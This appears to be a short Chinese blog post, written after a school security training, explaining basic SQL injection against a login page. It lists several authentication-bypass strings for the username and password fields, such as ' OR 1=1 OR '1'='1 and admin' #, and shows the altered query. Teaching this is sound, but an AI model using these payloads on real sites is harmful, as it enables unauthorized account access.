普通SQL注入

普通SQL注入

学校有培训公司来进行安全培训，了解一下安全的一些内容吧

SQL注入是一种将SQL代码插入或添加到应用用户的输入参数中的攻击，废话不多说，蛮简单的（以下实例均在登录界面）

1.内联SQL注入

①.在用户名处输入'OR 1=1 OR '1'='1 令SQL语句变为select * from users where name = '' OR 1=1 OR'1'='1' and pwd = ''

②.输入正确用户名，在密码处输入 ' or 1='1

③.输入正确用户名，在密码处输入 '='

2.终止式SQL注入

①.在用户名处输入 admin' #